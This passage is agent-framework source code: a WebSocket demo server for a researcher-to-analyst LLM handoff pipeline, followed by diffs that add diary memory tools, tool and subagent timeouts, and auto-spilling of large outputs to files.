color: #fff;
border: none;
padding: 8px 20px;
border-radius: 6px;
cursor: pointer;
font-family: inherit;
font-weight: 600;
}
.input-bar button:hover {
background: #2ea043;
}
.input-bar button:disabled {
background: #21262d;
color: #484f58;
cursor: not-allowed;
}
</style>
</head>
<body>
<header>
<h1>ContextHandoff Demo</h1>
<span id="phase" class="badge">Idle</span>
<span id="iter" class="badge" style="display:none">Step 0</span>
</header>
<div id="chat" class="chat"></div>
<div class="input-bar">
<input id="input" type="text"
placeholder="Enter a research topic..." autofocus />
<button id="go" onclick="run()">Research</button>
</div>
<script>
let ws = null;
let currentAssistantEl = null;
let iterCount = 0;
let currentPhase = 'idle';
const chat = document.getElementById('chat');
const phase = document.getElementById('phase');
const iterEl = document.getElementById('iter');
const goBtn = document.getElementById('go');
const inputEl = document.getElementById('input');
inputEl.addEventListener('keydown', e => {
if (e.key === 'Enter') run();
});
function setPhase(text, cls) {
phase.textContent = text;
phase.className = 'badge ' + cls;
currentPhase = cls;
}
function addMsg(text, cls) {
const el = document.createElement('div');
el.className = 'msg ' + cls;
el.textContent = text;
chat.appendChild(el);
chat.scrollTop = chat.scrollHeight;
return el;
}
function addHandoffBanner(summary) {
const banner = document.createElement('div');
banner.className = 'handoff-banner';
const h3 = document.createElement('h3');
h3.textContent = 'Context Handoff: Researcher -> Analyst';
const p = document.createElement('p');
p.textContent = summary || 'Passing research context...';
banner.appendChild(h3);
banner.appendChild(p);
chat.appendChild(banner);
chat.scrollTop = chat.scrollHeight;
}
function addResultBanner(researcher, analyst, tokens) {
const banner = document.createElement('div');
banner.className = 'result-banner';
const h3 = document.createElement('h3');
h3.textContent = 'Pipeline Complete';
banner.appendChild(h3);
if (researcher && researcher.research_summary) {
const lbl = document.createElement('div');
lbl.className = 'label';
lbl.textContent = 'RESEARCH SUMMARY';
banner.appendChild(lbl);
const p = document.createElement('p');
p.textContent = researcher.research_summary;
banner.appendChild(p);
}
if (analyst && analyst.analysis) {
const lbl = document.createElement('div');
lbl.className = 'label';
lbl.textContent = 'ANALYSIS';
lbl.style.color = '#3fb950';
banner.appendChild(lbl);
const p = document.createElement('p');
p.textContent = analyst.analysis;
banner.appendChild(p);
}
if (tokens) {
const t = document.createElement('div');
t.className = 'tokens';
t.textContent = 'Total tokens: ' + tokens.toLocaleString();
banner.appendChild(t);
}
chat.appendChild(banner);
chat.scrollTop = chat.scrollHeight;
}
function connect() {
ws = new WebSocket('ws://' + location.host + '/ws');
ws.onopen = () => {
setPhase('Ready', 'done');
goBtn.disabled = false;
};
ws.onmessage = handleEvent;
ws.onerror = () => { setPhase('Error', 'error'); };
ws.onclose = () => {
setPhase('Reconnecting...', '');
goBtn.disabled = true;
setTimeout(connect, 2000);
};
}
function handleEvent(msg) {
const evt = JSON.parse(msg.data);
if (evt.type === 'phase') {
if (evt.phase === 'researcher') {
setPhase('Researcher', 'researcher');
} else if (evt.phase === 'handoff') {
setPhase('Handoff', 'handoff');
} else if (evt.phase === 'analyst') {
setPhase('Analyst', 'analyst');
}
iterCount = 0;
iterEl.style.display = 'none';
}
else if (evt.type === 'llm_text_delta') {
if (currentAssistantEl) {
currentAssistantEl.textContent += evt.content;
chat.scrollTop = chat.scrollHeight;
}
}
else if (evt.type === 'node_loop_iteration') {
iterCount = evt.iteration || (iterCount + 1);
iterEl.textContent = 'Step ' + iterCount;
iterEl.style.display = '';
}
else if (evt.type === 'tool_call_started') {
var info = evt.tool_name + '('
+ JSON.stringify(evt.tool_input).slice(0, 120) + ')';
addMsg('TOOL ' + info, 'event tool');
}
else if (evt.type === 'tool_call_completed') {
var preview = (evt.result || '').slice(0, 200);
var cls = evt.is_error ? 'stall' : 'tool';
addMsg(
'RESULT ' + evt.tool_name + ': ' + preview,
'event ' + cls
);
var assistCls = currentPhase === 'analyst'
? 'assistant analyst-msg' : 'assistant';
currentAssistantEl = addMsg('', assistCls);
}
else if (evt.type === 'handoff_context') {
addHandoffBanner(evt.summary);
var assistCls = 'assistant analyst-msg';
currentAssistantEl = addMsg('', assistCls);
}
else if (evt.type === 'node_result') {
if (evt.node_id === 'researcher') {
if (currentAssistantEl
&& !currentAssistantEl.textContent) {
currentAssistantEl.remove();
}
}
}
else if (evt.type === 'done') {
setPhase('Done', 'done');
iterEl.style.display = 'none';
if (currentAssistantEl
&& !currentAssistantEl.textContent) {
currentAssistantEl.remove();
}
currentAssistantEl = null;
addResultBanner(
evt.researcher, evt.analyst, evt.total_tokens
);
goBtn.disabled = false;
inputEl.placeholder = 'Enter another topic...';
}
else if (evt.type === 'error') {
setPhase('Error', 'error');
addMsg('ERROR ' + evt.message, 'event stall');
goBtn.disabled = false;
}
else if (evt.type === 'node_stalled') {
addMsg('STALLED ' + evt.reason, 'event stall');
}
}
function run() {
const text = inputEl.value.trim();
if (!text || !ws || ws.readyState !== 1) return;
chat.innerHTML = '';
addMsg(text, 'user');
currentAssistantEl = addMsg('', 'assistant');
inputEl.value = '';
goBtn.disabled = true;
ws.send(JSON.stringify({ topic: text }));
}
connect();
</script>
</body>
</html>"""
)
# -------------------------------------------------------------------------
# WebSocket handler — sequential Node A → Handoff → Node B
# -------------------------------------------------------------------------
async def handle_ws(websocket):
"""Run the two-node handoff pipeline per user message."""
try:
async for raw in websocket:
try:
msg = json.loads(raw)
except Exception:
continue
topic = msg.get("topic", "")
if not topic:
continue
logger.info(f"Starting handoff pipeline for: {topic}")
try:
await _run_pipeline(websocket, topic)
except websockets.exceptions.ConnectionClosed:
logger.info("WebSocket closed during pipeline")
return
except Exception as e:
logger.exception("Pipeline error")
try:
await websocket.send(json.dumps({"type": "error", "message": str(e)}))
except Exception:
pass
except websockets.exceptions.ConnectionClosed:
pass
async def _run_pipeline(websocket, topic: str):
"""Execute: Node A (research) → ContextHandoff → Node B (analysis)."""
import shutil
# Fresh stores for each run
run_dir = Path(tempfile.mkdtemp(prefix="hive_run_", dir=STORE_DIR))
store_a = FileConversationStore(run_dir / "node_a")
store_b = FileConversationStore(run_dir / "node_b")
# Shared event bus
bus = EventBus()
async def forward_event(event):
try:
payload = {"type": event.type.value, **event.data}
if event.node_id:
payload["node_id"] = event.node_id
await websocket.send(json.dumps(payload))
except Exception:
pass
bus.subscribe(
event_types=[
EventType.NODE_LOOP_STARTED,
EventType.NODE_LOOP_ITERATION,
EventType.NODE_LOOP_COMPLETED,
EventType.LLM_TEXT_DELTA,
EventType.TOOL_CALL_STARTED,
EventType.TOOL_CALL_COMPLETED,
EventType.NODE_STALLED,
],
handler=forward_event,
)
tools = list(TOOL_REGISTRY.get_tools().values())
tool_executor = TOOL_REGISTRY.get_executor()
# ---- Phase 1: Researcher ------------------------------------------------
await websocket.send(json.dumps({"type": "phase", "phase": "researcher"}))
node_a = EventLoopNode(
event_bus=bus,
judge=None, # implicit judge: accept when output_keys filled
config=LoopConfig(
max_iterations=20,
max_tool_calls_per_turn=30,
max_context_tokens=32_000,
),
conversation_store=store_a,
tool_executor=tool_executor,
)
ctx_a = NodeContext(
runtime=RUNTIME,
node_id="researcher",
node_spec=RESEARCHER_SPEC,
memory=SharedMemory(),
input_data={"topic": topic},
llm=LLM,
available_tools=tools,
)
result_a = await node_a.execute(ctx_a)
logger.info(
"Researcher done: success=%s, tokens=%s",
result_a.success,
result_a.tokens_used,
)
await websocket.send(
json.dumps(
{
"type": "node_result",
"node_id": "researcher",
"success": result_a.success,
"output": result_a.output,
}
)
)
if not result_a.success:
await websocket.send(
json.dumps(
{
"type": "error",
"message": f"Researcher failed: {result_a.error}",
}
)
)
return
# ---- Phase 2: Context Handoff -------------------------------------------
await websocket.send(json.dumps({"type": "phase", "phase": "handoff"}))
# Restore the researcher's conversation from store
conversation_a = await NodeConversation.restore(store_a)
if conversation_a is None:
await websocket.send(
json.dumps(
{
"type": "error",
"message": "Failed to restore researcher conversation",
}
)
)
return
handoff_engine = ContextHandoff(llm=LLM)
handoff_context = handoff_engine.summarize_conversation(
conversation=conversation_a,
node_id="researcher",
output_keys=["research_summary"],
)
formatted_handoff = ContextHandoff.format_as_input(handoff_context)
logger.info(
"Handoff: %d turns, ~%d tokens, keys=%s",
handoff_context.turn_count,
handoff_context.total_tokens_used,
list(handoff_context.key_outputs.keys()),
)
# Send handoff context to browser
await websocket.send(
json.dumps(
{
"type": "handoff_context",
"summary": handoff_context.summary[:500],
"turn_count": handoff_context.turn_count,
"tokens": handoff_context.total_tokens_used,
"key_outputs": handoff_context.key_outputs,
}
)
)
# ---- Phase 3: Analyst ---------------------------------------------------
await websocket.send(json.dumps({"type": "phase", "phase": "analyst"}))
node_b = EventLoopNode(
event_bus=bus,
judge=None, # implicit judge
config=LoopConfig(
max_iterations=10,
max_tool_calls_per_turn=30,
max_context_tokens=32_000,
),
conversation_store=store_b,
)
ctx_b = NodeContext(
runtime=RUNTIME,
node_id="analyst",
node_spec=ANALYST_SPEC,
memory=SharedMemory(),
input_data={"context": formatted_handoff},
llm=LLM,
available_tools=[],
)
result_b = await node_b.execute(ctx_b)
logger.info(
"Analyst done: success=%s, tokens=%s",
result_b.success,
result_b.tokens_used,
)
# ---- Done ---------------------------------------------------------------
await websocket.send(
json.dumps(
{
"type": "done",
"researcher": result_a.output,
"analyst": result_b.output,
"total_tokens": ((result_a.tokens_used or 0) + (result_b.tokens_used or 0)),
}
)
)
# Clean up temp stores
try:
shutil.rmtree(run_dir)
except Exception:
pass
# -------------------------------------------------------------------------
# HTTP handler
# -------------------------------------------------------------------------
async def process_request(connection, request: Request):
"""Serve HTML on GET /, upgrade to WebSocket on /ws."""
if request.path == "/ws":
return None
return Response(
HTTPStatus.OK,
"OK",
websockets.Headers({"Content-Type": "text/html; charset=utf-8"}),
HTML_PAGE.encode(),
)
# -------------------------------------------------------------------------
# Main
# -------------------------------------------------------------------------
async def main():
port = 8766
async with websockets.serve(
handle_ws,
"0.0.0.0",
port,
process_request=process_request,
):
logger.info(f"Handoff demo at http://localhost:{port}")
logger.info("Enter a research topic to start the pipeline.")
await asyncio.Future()
if __name__ == "__main__":
asyncio.run(main())
File diff suppressed because it is too large Load Diff
+40 -43
View File
@@ -62,6 +62,12 @@ _SHARED_TOOLS = [
"get_agent_checkpoint",
]
# Episodic memory tools — available in every queen phase.
_QUEEN_MEMORY_TOOLS = [
"write_to_diary",
"recall_diary",
]
# Queen phase-specific tool sets.
# Planning phase: read-only exploration + design, no write tools.
@@ -84,16 +90,19 @@ _QUEEN_PLANNING_TOOLS = [
"initialize_and_build_agent",
# Load existing agent (after user confirms)
"load_built_agent",
]
] + _QUEEN_MEMORY_TOOLS
# Building phase: full coding + agent construction tools.
_QUEEN_BUILDING_TOOLS = _SHARED_TOOLS + [
"load_built_agent",
"list_credentials",
"replan_agent",
"save_agent_draft", # Re-draft during building → auto-dissolves + updates flowchart
"write_to_diary", # Episodic memory — available in all phases
]
_QUEEN_BUILDING_TOOLS = (
_SHARED_TOOLS
+ [
"load_built_agent",
"list_credentials",
"replan_agent",
"save_agent_draft", # Re-draft during building → auto-dissolves + updates flowchart
]
+ _QUEEN_MEMORY_TOOLS
)
# Staging phase: agent loaded but not yet running — inspect, configure, launch.
_QUEEN_STAGING_TOOLS = [
@@ -114,7 +123,7 @@ _QUEEN_STAGING_TOOLS = [
"set_trigger",
"remove_trigger",
"list_triggers",
]
] + _QUEEN_MEMORY_TOOLS
# Running phase: worker is executing — monitor and control.
_QUEEN_RUNNING_TOOLS = [
@@ -135,12 +144,11 @@ _QUEEN_RUNNING_TOOLS = [
# Monitoring
"get_worker_health_summary",
"notify_operator",
"write_to_diary", # Episodic memory — available in all phases
# Trigger management
"set_trigger",
"remove_trigger",
"list_triggers",
]
"write_to_diary", # Episodic memory — available in all phases
] + _QUEEN_MEMORY_TOOLS
# ---------------------------------------------------------------------------
@@ -279,44 +287,28 @@ visible to the user immediately. The draft captures business logic \
Include in each node: id, name, description, planned tools, \
input/output keys, and success criteria as high-level hints.
Each node is auto-classified into an ISO 5807 flowchart symbol type \
with a unique color. You can override auto-detection by setting \
`flowchart_type` explicitly on a node. Common types:
Each node is auto-classified into a flowchart symbol type with a unique \
color. You can override auto-detection by setting `flowchart_type` \
explicitly on a node. Available types:
**Core symbols:**
- **start** (green, stadium): Entry point / trigger
- **terminal** (red, stadium): End of flow
- **process** (blue, rectangle): Standard processing step
- **decision** (amber, diamond): Conditional branching
- **io** (purple, parallelogram): External data input/output
- **document** (blue-grey, wavy rect): Report or document generation
- **subprocess** (teal, subroutine): Delegated sub-agent / predefined process
- **preparation** (brown, hexagon): Setup / initialization step
- **manual_operation** (pink, trapezoid): Human-in-the-loop / manual review
- **delay** (orange, D-shape): Wait / throttle / cooldown
- **display** (cyan): Present results to user
**Data storage:**
- **database** (light green, cylinder): Database or data store
- **stored_data** (lime): Generic persistent data
- **internal_storage** (amber): In-memory / cache
**Flow operations:**
- **merge** (indigo, inv. triangle): Combine multiple inputs
- **extract** (indigo, triangle): Split or filter data
- **connector** (grey, circle): On-page link
- **offpage_connector** (dark grey, pentagon): Cross-page link
**Domain-specific:**
- **browser** (dark indigo, hexagon): GCU browser automation / sub-agent \
- **start** (sage green, stadium): Entry point / trigger
- **terminal** (dusty red, stadium): End of flow
- **process** (blue-gray, rectangle): Standard processing step
- **decision** (warm amber, diamond): Conditional branching
- **io** (dusty purple, parallelogram): External data input/output
- **document** (steel blue, wavy rect): Report or document generation
- **database** (muted teal, cylinder): Database or data store
- **subprocess** (dark cyan, subroutine): Delegated sub-agent / predefined process
- **browser** (deep blue, hexagon): GCU browser automation / sub-agent \
delegation. At build time, browser nodes are dissolved into the parent \
node's sub_agents list. Use for any GCU or sub-agent leaf node.
Auto-detection works well for most cases: first node start, nodes with \
no outgoing edges terminal, nodes with multiple conditional outgoing \
edges decision, GCU nodes browser, nodes mentioning "database" \
database, nodes mentioning "report/document" document, etc. Set \
flowchart_type explicitly only when auto-detection would be wrong.
database, nodes mentioning "report/document" document, I/O tools like \
send_email io. Everything else defaults to process. Set flowchart_type \
explicitly only when auto-detection would be wrong.
## Decision Nodes — Planning-Only Conditional Branching
@@ -858,6 +850,11 @@ You keep a diary. Use write_to_diary() when something worth remembering \
happens: a pipeline went live, the user shared something important, a goal \
was reached or abandoned. Write in first person, as you actually experienced \
it. One or two paragraphs is enough.
Use recall_diary() to look up past diary entries when the user asks about \
previous sessions ("what happened yesterday?", "what did we work on last \
week?") or when you need past context to make a decision. You can filter by \
keyword and control how far back to search.
"""
_queen_behavior_always = _queen_behavior_always + _queen_memory_instructions
+34 -6
View File
@@ -50,6 +50,23 @@ def read_episodic_memory(d: date | None = None) -> str:
return path.read_text(encoding="utf-8").strip() if path.exists() else ""
def _find_recent_episodic(lookback: int = 7) -> tuple[date, str] | None:
"""Find the most recent non-empty episodic memory within *lookback* days."""
from datetime import timedelta
today = date.today()
for offset in range(lookback):
d = today - timedelta(days=offset)
content = read_episodic_memory(d)
if content:
return d, content
return None
# Budget (in characters) for episodic memory in the system prompt.
_EPISODIC_CHAR_BUDGET = 6_000
def format_for_injection() -> str:
"""Format cross-session memory for system prompt injection.
@@ -57,7 +74,7 @@ def format_for_injection() -> str:
session with only the seed template).
"""
semantic = read_semantic_memory()
episodic = read_episodic_memory()
recent = _find_recent_episodic()
# Suppress injection if semantic is still just the seed template
if semantic and semantic.startswith("# My Understanding of the User\n\n*No sessions"):
@@ -66,9 +83,18 @@ def format_for_injection() -> str:
parts: list[str] = []
if semantic:
parts.append(semantic)
if episodic:
today_str = date.today().strftime("%B %-d, %Y")
parts.append(f"## Today — {today_str}\n\n{episodic}")
if recent:
d, content = recent
# Trim oversized episodic entries to keep the prompt manageable
if len(content) > _EPISODIC_CHAR_BUDGET:
content = content[:_EPISODIC_CHAR_BUDGET] + "\n\n…(truncated)"
today = date.today()
if d == today:
label = f"## Today — {d.strftime('%B %-d, %Y')}"
else:
label = f"## {d.strftime('%B %-d, %Y')}"
parts.append(f"{label}\n\n{content}")
if not parts:
return ""
@@ -100,7 +126,8 @@ def append_episodic_entry(content: str) -> None:
"""
ep_path = episodic_memory_path()
ep_path.parent.mkdir(parents=True, exist_ok=True)
today_str = date.today().strftime("%B %-d, %Y")
today = date.today()
today_str = f"{today.strftime('%B')} {today.day}, {today.year}"
timestamp = datetime.now().strftime("%H:%M")
if not ep_path.exists():
header = f"# {today_str}\n\n"
@@ -299,7 +326,8 @@ async def consolidate_queen_memory(
existing_semantic = read_semantic_memory()
today_journal = read_episodic_memory()
today_str = date.today().strftime("%B %-d, %Y")
today = date.today()
today_str = f"{today.strftime('%B')} {today.day}, {today.year}"
adapt_path = session_dir / "data" / "adapt.md"
user_msg = (
+4
View File
@@ -19,6 +19,10 @@ from framework.graph.edge import DEFAULT_MAX_TOKENS
# ---------------------------------------------------------------------------
HIVE_CONFIG_FILE = Path.home() / ".hive" / "configuration.json"
# Hive LLM router endpoint (Anthropic-compatible).
# litellm's Anthropic handler appends /v1/messages, so this is just the base host.
HIVE_LLM_ENDPOINT = "https://api.adenhq.com"
logger = logging.getLogger(__name__)
+8 -4
View File
@@ -142,13 +142,17 @@ def save_aden_api_key(key: str) -> None:
os.environ[ADEN_ENV_VAR] = key
def delete_aden_api_key() -> None:
"""Remove ADEN_API_KEY from the encrypted store and ``os.environ``."""
def delete_aden_api_key() -> bool:
"""Remove ADEN_API_KEY from the encrypted store and ``os.environ``.
Returns True if the key existed and was deleted, False otherwise.
"""
deleted = False
try:
from .storage import EncryptedFileStorage
storage = EncryptedFileStorage()
storage.delete(ADEN_CREDENTIAL_ID)
deleted = storage.delete(ADEN_CREDENTIAL_ID)
except (FileNotFoundError, PermissionError) as e:
logger.debug("Could not delete %s from encrypted store: %s", ADEN_CREDENTIAL_ID, e)
except Exception:
@@ -157,8 +161,8 @@ def delete_aden_api_key() -> None:
ADEN_CREDENTIAL_ID,
exc_info=True,
)
os.environ.pop(ADEN_ENV_VAR, None)
return deleted
# ---------------------------------------------------------------------------
+411 -40
View File
@@ -202,6 +202,14 @@ class LoopConfig:
max_tool_result_chars: int = 30_000
spillover_dir: str | None = None # Path string; created on first use
# --- set_output value spilling ---
# When a set_output value exceeds this character count it is auto-saved
# to a file in *spillover_dir* and the stored value is replaced with a
# lightweight file reference. This keeps shared memory / adapt.md /
# transition markers small and forces the next node to load the full
# data from the file. Set to 0 to disable.
max_output_value_chars: int = 2_000
# --- Stream retry (transient error recovery within EventLoopNode) ---
# When _run_single_turn() raises a transient error (network, rate limit,
# server error), retry up to this many times with exponential backoff
@@ -225,6 +233,18 @@ class LoopConfig:
cf_grace_turns: int = 1
tool_doom_loop_enabled: bool = True
# --- Per-tool-call timeout ---
# Maximum seconds a single tool call may take before being killed.
# Prevents hung MCP servers (especially browser/GCU tools) from
# blocking the entire event loop indefinitely. 0 = no timeout.
tool_call_timeout_seconds: float = 60.0
# --- Subagent delegation timeout ---
# Maximum seconds a delegate_to_sub_agent call may run before being
# killed. Subagents run a full event-loop so they naturally take
# longer than a single tool call — default is 10 minutes. 0 = no timeout.
subagent_timeout_seconds: float = 300.0
# --- Lifecycle hooks ---
# Hooks are async callables keyed by event name. Supported events:
# "session_start" — fires once after the first user message is added,
@@ -473,6 +493,8 @@ class EventLoopNode(NodeProtocol):
focus_prompt=ctx.node_spec.system_prompt,
narrative=ctx.narrative or None,
accounts_prompt=ctx.accounts_prompt or None,
skills_catalog_prompt=ctx.skills_catalog_prompt or None,
protocols_prompt=ctx.protocols_prompt or None,
)
if conversation.system_prompt != _current_prompt:
conversation.update_system_prompt(_current_prompt)
@@ -494,6 +516,22 @@ class EventLoopNode(NodeProtocol):
if ctx.accounts_prompt:
system_prompt = f"{system_prompt}\n\n{ctx.accounts_prompt}"
# Append skill catalog and operational protocols
if ctx.skills_catalog_prompt:
system_prompt = f"{system_prompt}\n\n{ctx.skills_catalog_prompt}"
logger.info(
"[%s] Injected skills catalog (%d chars)",
node_id,
len(ctx.skills_catalog_prompt),
)
if ctx.protocols_prompt:
system_prompt = f"{system_prompt}\n\n{ctx.protocols_prompt}"
logger.info(
"[%s] Injected operational protocols (%d chars)",
node_id,
len(ctx.protocols_prompt),
)
# Inject agent working memory (adapt.md).
# If it doesn't exist yet, seed it with available context.
if self._config.spillover_dir:
@@ -575,10 +613,24 @@ class EventLoopNode(NodeProtocol):
# - Node has sub_agents defined
# - We are NOT in subagent mode (prevents nested delegation)
if not ctx.is_subagent_mode:
sub_agents = getattr(ctx.node_spec, "sub_agents", [])
delegate_tool = self._build_delegate_tool(sub_agents, ctx.node_registry)
if delegate_tool:
tools.append(delegate_tool)
sub_agents = getattr(ctx.node_spec, "sub_agents", None) or []
if sub_agents:
delegate_tool = self._build_delegate_tool(sub_agents, ctx.node_registry)
if delegate_tool:
tools.append(delegate_tool)
logger.info(
"[%s] delegate_to_sub_agent injected (sub_agents=%s)",
node_id,
sub_agents,
)
else:
logger.error(
"[%s] _build_delegate_tool returned None for sub_agents=%s",
node_id,
sub_agents,
)
else:
logger.debug("[%s] Skipped delegate tool (is_subagent_mode=True)", node_id)
# Add report_to_parent tool for sub-agents with a report callback
if ctx.is_subagent_mode and ctx.report_callback is not None:
@@ -1920,6 +1972,11 @@ class EventLoopNode(NodeProtocol):
# Accumulate ALL tool calls across inner iterations for L3 logging.
# Unlike real_tool_results (reset each inner iteration), this persists.
logged_tool_calls: list[dict] = []
# Counter for LLM calls within a single iteration. Each pass through
# the inner tool loop starts a fresh LLM stream whose snapshot resets
# to "". Without this, all calls share the same message ID on the
# frontend and the second call's text silently replaces the first.
inner_turn = 0
# Inner tool loop: stream may produce tool calls requiring re-invocation
while True:
@@ -1960,6 +2017,7 @@ class EventLoopNode(NodeProtocol):
async def _do_stream(
_msgs: list = messages, # noqa: B006
_tc: list[ToolCallEvent] = tool_calls, # noqa: B006
inner_turn: int = inner_turn,
) -> None:
nonlocal accumulated_text, _stream_error
async for event in ctx.llm.stream(
@@ -1978,6 +2036,7 @@ class EventLoopNode(NodeProtocol):
ctx,
execution_id,
iteration=iteration,
inner_turn=inner_turn,
)
elif isinstance(event, ToolCallEvent):
@@ -2137,6 +2196,57 @@ class EventLoopNode(NodeProtocol):
except (json.JSONDecodeError, TypeError):
pass
key = tc.tool_input.get("key", "")
# Auto-spill: save large values to data files and
# replace with a lightweight file reference so shared
# memory / adapt.md / transition markers stay small.
spill_dir = self._config.spillover_dir
max_val = self._config.max_output_value_chars
if max_val > 0 and spill_dir:
val_str = (
json.dumps(value, ensure_ascii=False)
if not isinstance(value, str)
else value
)
if len(val_str) > max_val:
spill_path = Path(spill_dir)
spill_path.mkdir(parents=True, exist_ok=True)
ext = ".json" if isinstance(value, (dict, list)) else ".txt"
filename = f"output_{key}{ext}"
write_content = (
json.dumps(value, indent=2, ensure_ascii=False)
if isinstance(value, (dict, list))
else str(value)
)
(spill_path / filename).write_text(write_content, encoding="utf-8")
file_size = (spill_path / filename).stat().st_size
logger.info(
"set_output value auto-spilled: key=%s, "
"%d chars → %s (%d bytes)",
key,
len(val_str),
filename,
file_size,
)
# Replace value with reference
value = (
f"[Saved to '{filename}' ({file_size:,} bytes). "
f"Use load_data(filename='{filename}') "
f"to access full data.]"
)
# Update tool result to inform the LLM
result = ToolResult(
tool_use_id=tc.tool_use_id,
content=(
f"Output '{key}' was large "
f"({len(val_str):,} chars) — data saved "
f"to '{filename}' ({file_size:,} bytes). "
f"The next phase will see the file "
f"reference and can load full data."
),
is_error=False,
)
await accumulator.set(key, value)
self._record_learning(key, value)
outputs_set_this_turn.append(key)
@@ -2206,6 +2316,7 @@ class EventLoopNode(NodeProtocol):
ctx=ctx,
execution_id=execution_id,
iteration=iteration,
inner_turn=inner_turn,
)
result = ToolResult(
@@ -2439,21 +2550,44 @@ class EventLoopNode(NodeProtocol):
# Phase 2b: execute subagent delegations in parallel.
if pending_subagent:
_subagent_timeout = self._config.subagent_timeout_seconds
async def _timed_subagent(
_ctx: NodeContext,
_tc: ToolCallEvent,
_acc: OutputAccumulator = accumulator,
_timeout: float = _subagent_timeout,
) -> tuple[ToolResult | BaseException, str, float]:
_s = time.time()
_iso = datetime.now(UTC).isoformat()
try:
_r = await self._execute_subagent(
_coro = self._execute_subagent(
_ctx,
_tc.tool_input.get("agent_id", ""),
_tc.tool_input.get("task", ""),
accumulator=_acc,
)
if _timeout > 0:
_r = await asyncio.wait_for(_coro, timeout=_timeout)
else:
_r = await _coro
except TimeoutError:
_agent_id = _tc.tool_input.get("agent_id", "unknown")
logger.warning(
"Subagent '%s' timed out after %.0fs",
_agent_id,
_timeout,
)
_r = ToolResult(
tool_use_id=_tc.tool_use_id,
content=(
f"Subagent '{_agent_id}' timed out after "
f"{_timeout:.0f}s. The delegation took "
"too long and was cancelled. Try a simpler task "
"or break it into smaller pieces."
),
is_error=True,
)
except BaseException as _exc:
_r = _exc
_dur = round(time.time() - _s, 3)
@@ -2659,6 +2793,7 @@ class EventLoopNode(NodeProtocol):
)
# Tool calls processed -- loop back to stream with updated conversation
inner_turn += 1
# -------------------------------------------------------------------
# Synthetic tools: set_output, ask_user, escalate
@@ -2795,6 +2930,12 @@ class EventLoopNode(NodeProtocol):
name="set_output",
description=(
"Set an output value for this node. Call once per output key. "
"Use this for brief notes, counts, status, and file references — "
"NOT for large data payloads. When a tool result was saved to a "
"data file, pass the filename as the value "
"(e.g. 'google_sheets_get_values_1.txt') so the next phase can "
"load the full data. Values exceeding ~2000 characters are "
"auto-saved to data files. "
f"Valid keys: {output_keys}"
),
parameters={
@@ -2807,7 +2948,10 @@ class EventLoopNode(NodeProtocol):
},
"value": {
"type": "string",
"description": "The output value to store.",
"description": (
"The output value — a brief note, count, status, "
"or data filename reference."
),
},
},
"required": ["key", "value"],
@@ -3331,7 +3475,14 @@ class EventLoopNode(NodeProtocol):
return False, ""
async def _execute_tool(self, tc: ToolCallEvent) -> ToolResult:
"""Execute a tool call, handling both sync and async executors."""
"""Execute a tool call, handling both sync and async executors.
Applies ``tool_call_timeout_seconds`` from LoopConfig to prevent
hung MCP servers from blocking the event loop indefinitely.
The initial executor call is offloaded to a thread pool so that
sync executors (MCP STDIO tools that block on ``future.result()``)
don't freeze the event loop.
"""
if self._tool_executor is None:
return ToolResult(
tool_use_id=tc.tool_use_id,
@@ -3339,9 +3490,35 @@ class EventLoopNode(NodeProtocol):
is_error=True,
)
tool_use = ToolUse(id=tc.tool_use_id, name=tc.tool_name, input=tc.tool_input)
result = self._tool_executor(tool_use)
if asyncio.iscoroutine(result) or asyncio.isfuture(result):
result = await result
timeout = self._config.tool_call_timeout_seconds
async def _run() -> ToolResult:
# Offload the executor call to a thread. Sync MCP executors
# block on future.result() — running in a thread keeps the
# event loop free so asyncio.wait_for can fire the timeout.
loop = asyncio.get_running_loop()
result = await loop.run_in_executor(None, self._tool_executor, tool_use)
# Async executors return a coroutine — await it on the loop
if asyncio.iscoroutine(result) or asyncio.isfuture(result):
result = await result
return result
try:
if timeout > 0:
result = await asyncio.wait_for(_run(), timeout=timeout)
else:
result = await _run()
except TimeoutError:
logger.warning("Tool '%s' timed out after %.0fs", tc.tool_name, timeout)
return ToolResult(
tool_use_id=tc.tool_use_id,
content=(
f"Tool '{tc.tool_name}' timed out after {timeout:.0f}s. "
"The operation took too long and was cancelled. "
"Try a simpler request or a different approach."
),
is_error=True,
)
return result
def _record_learning(self, key: str, value: Any) -> None:
@@ -3412,6 +3589,125 @@ class EventLoopNode(NodeProtocol):
self._spill_counter = max_n
logger.info("Restored spill counter to %d from existing files", max_n)
# ------------------------------------------------------------------
# JSON metadata / smart preview helpers for truncation
# ------------------------------------------------------------------
@staticmethod
def _extract_json_metadata(parsed: Any, *, _depth: int = 0, _max_depth: int = 3) -> str:
"""Return a concise structural summary of parsed JSON.
Reports key names, value types, and crucially array lengths so
the LLM knows how much data exists beyond the preview.
Returns an empty string for simple scalars.
"""
if _depth >= _max_depth:
if isinstance(parsed, dict):
return f"dict with {len(parsed)} keys"
if isinstance(parsed, list):
return f"list of {len(parsed)} items"
return type(parsed).__name__
if isinstance(parsed, dict):
if not parsed:
return "empty dict"
lines: list[str] = []
indent = " " * (_depth + 1)
for key, value in list(parsed.items())[:20]:
if isinstance(value, list):
line = f'{indent}"{key}": list of {len(value)} items'
if value:
first = value[0]
if isinstance(first, dict):
sample_keys = list(first.keys())[:10]
line += f" (each item: dict with keys {sample_keys})"
elif isinstance(first, list):
line += f" (each item: list of {len(first)} elements)"
lines.append(line)
elif isinstance(value, dict):
child = EventLoopNode._extract_json_metadata(
value, _depth=_depth + 1, _max_depth=_max_depth
)
lines.append(f'{indent}"{key}": {child}')
else:
lines.append(f'{indent}"{key}": {type(value).__name__}')
if len(parsed) > 20:
lines.append(f"{indent}... and {len(parsed) - 20} more keys")
return "\n".join(lines)
if isinstance(parsed, list):
if not parsed:
return "empty list"
desc = f"list of {len(parsed)} items"
first = parsed[0]
if isinstance(first, dict):
sample_keys = list(first.keys())[:10]
desc += f" (each item: dict with keys {sample_keys})"
elif isinstance(first, list):
desc += f" (each item: list of {len(first)} elements)"
return desc
return ""
@staticmethod
def _build_json_preview(parsed: Any, *, max_chars: int = 5000) -> str | None:
"""Build a smart preview of parsed JSON, truncating large arrays.
Shows first 3 + last 1 items of large arrays with explicit count
markers so the LLM cannot mistake the preview for the full dataset.
Returns ``None`` if no truncation was needed (no large arrays).
"""
_LARGE_ARRAY_THRESHOLD = 10
def _truncate_arrays(obj: Any) -> tuple[Any, bool]:
"""Return (truncated_copy, was_truncated)."""
if isinstance(obj, list) and len(obj) > _LARGE_ARRAY_THRESHOLD:
n = len(obj)
head = obj[:3]
tail = obj[-1:]
marker = f"... ({n - 4} more items omitted, {n} total) ..."
return head + [marker] + tail, True
if isinstance(obj, dict):
changed = False
out: dict[str, Any] = {}
for k, v in obj.items():
